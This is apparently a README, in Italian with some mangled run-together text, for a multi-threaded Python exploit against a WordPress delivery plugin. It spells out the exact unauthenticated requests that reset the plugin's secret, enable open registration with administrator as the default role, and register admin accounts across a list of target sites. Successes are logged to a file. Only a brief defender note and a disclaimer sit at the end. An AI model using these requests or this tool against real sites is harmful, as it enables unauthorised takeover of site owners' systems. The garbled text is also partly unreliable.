
Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - Escalation di privilegi non autenticata
Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - Escalatione dei privilegi non autenticata
PoC / Script Exploit:
CVE-2026-2631.py
Autore: Khaled Alenazi (Nxploited) – Nxploited ZeroDay Hub
Contatto: Telegram:@Kxploit
< 2.6.60 (esclusa)CVE-2026-26319.8 (Critico)AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HIl plugin Datalogics Ecommerce Delivery – Datalogics espone un endpoint non autenticato:
/wp-json/gsf/v1/update-options
Questo script abusa di tale endpoint per:
shop_secret usando l'azione vulnerabile resetStoreConfigrations.users_can_register = 1.administrator: default_role = administrator.wp-login.php?action=registerIn caso di successo, qualsiasi nuovo utente creato tramite il modulo di registrazione sarà un amministratore.
users_can_register = 1default_role = administratorrich (tabella colorata e aggiornata in tempo reale).Login_admin.txt.Installa i pacchetti richiesti:
pip install -r requirements.txt
Esempio di requirements.txt:
requests
rich
urllib3
Oppure installa manualmente:
pip install requests rich urllib3
Per ogni target:
Normalizza URL
http:// venga anteposto se mancante.Reimposta shop_secret
/wp-json/gsf/v1/update-optionsaction = resetStoreConfigrationsshop_secret = <nuovo_segreto>app secret key has been updated successfullyAggiorna le opzioni WordPress
action = createUpdateOptionoption_key = users_can_register, option_value = 1option_key = default_role, list.txt (o file personalizzato).N blocchi usando chunkify.N thread worker, ciascuno che elabora la propria lista di target.Queue condivisa per i messaggi di stato verso il thread di stampa.printer_loop) aggiorna una tabella rich live:
python3 CVE-2026-2631.py
Ti verranno richiesti in modo interattivo:
File dei target
Targets file (one host/URL per line) [list.txt]:list.txtvictim.comhttps://target-site.comhttp://example.org/blogThread
Threads (1-50) [10]:1050Valore shop_secret
shop_secret [Nxploited_newSecret]:Nxploited_newSecretresetStoreConfigrations.Queste credenziali verranno usate per il tentativo di registrazione su ogni target vulnerabile.
Crea list.txt (o qualsiasi file desideri) con un target per riga:
example1.com
http://example2.com
https://shop.example3.net
blog.target-site.org
Lo script:
http:// se mancante./ finale.Tutte le operazioni riuscite (anche se la registrazione utente fallisce ma le opzioni vengono impostate) vengono scritte in:
Login_admin.txt
Una riga tipica:
http://example1.com | register_url: http://example1.com/wp-login.php?action=register | shop_secret: Nxploited_newSecret | reset_ok,option_ok,option_ok,register_open,registered user=Nx_test1 [email protected] pass=Nx_adminSA
Esempi di stato nella tabella live:
SUCCESS – opzioni impostate e/o utente registrato.FAILED – reset/opzioni falliti, vulnerabilità non sfruttabile.ERROR – Eccezione, errori di rete, timeout, ecc.POST /wp-json/gsf/v1/update-options
shop_secretaction=resetStoreConfigrations
shop_secret=<nuovo_segreto>
action=createUpdateOption
shop_secret=<nuovo_segreto>
option_key=users_can_register
option_value=1
action=createUpdateOption
shop_secret=<nuovo_segreto>
option_key=default_role
option_value=administrator
GET/POST /wp-login.php?action=register
Lo script:
_wpnonce se presente.normalize_site(raw: str) -> str
Normalizza gli URL dei target.
send_reset_secret(site: str, secret: str, timeout: int = 10) -> (bool, str)
Prova l'azione resetStoreConfigrations.
send_option(site: str, secret: str, key: str, value: str, timeout: int = 10) -> (bool, str)
Imposta le opzioni WordPress tramite l'endpoint vulnerabile.
check_registration_open(site: str, timeout: int = 10) -> (bool, str)
Verifica se la registrazione è aperta e se il modulo è accessibile.
try_register_user(...) -> (bool, str)
Tenta di registrare l'utente fornito.
write_success_line(site: str, secret: str, detail: str)
Registra i dettagli di successo in Login_admin.txt.
worker(...)
Worker per-thread che:
$ python3 CVE-2026-2631.py
[Banner / ASCII Art]
Targets file (one host/URL per line) [list.txt]:
> list.txt
Threads (1-50) [10]:
> 20
shop_secret [Nxploited_newSecret]:
> NxSecret2026!
Registration username [Nx_test1]:
> admin_nx
Registration email [[email protected]]:
> [email protected]
Registration password [Nx_adminSA]:
> SuperStrongP@ss!
[La tabella live inizia a mostrare lo stato di ogni target]
Processed 5/20 targets · Output: Login_admin.txt
Done. Successful sites (if any) saved to Login_admin.txt.
Per Difensori / Proprietari di siti:
wp_users./wp-json/gsf/v1/update-options/wp-login.php?action=registerQuesto script è fornito esclusivamente a scopo educativo e per test di sicurezza autorizzati.
Se non siete d'accordo con questi termini, non utilizzate questo script.
CVE-2026-2631@Kxploit su TelegramRestate al sicuro, hackerate in modo responsabile. 🕶️💻
option_value = administratorwordpress option has been created or updated successfullyVerifica se la registrazione è aperta
/wp-login.php?action=registerUsers can register, Anyone can register, user_registration, registerformuser registration is currently not allowedProva la registrazione utente
_wpnonce dall'input nascosto se presente.user_login, user_emailuser_pass/user_pass2 se i campi password esistono_wpnonce, _wp_http_referer, redirect_to, wp-submit=Registerregistration complete, check your email, user registereduser_already_existsRegistrazione log
Login_admin.txt<sito> | register_url: <url> | shop_secret: <segreto> | <dettagli>
Credenziali di registrazione
Registration username [Nx_test1]:Registration email [[email protected]]:Registration password [Nx_adminSA]:shop_secretprinter_loop(queue: Queue, total: int)
Legge i messaggi dalla coda e aggiorna una UI a tabella rich live.
main()
Orchestrazione: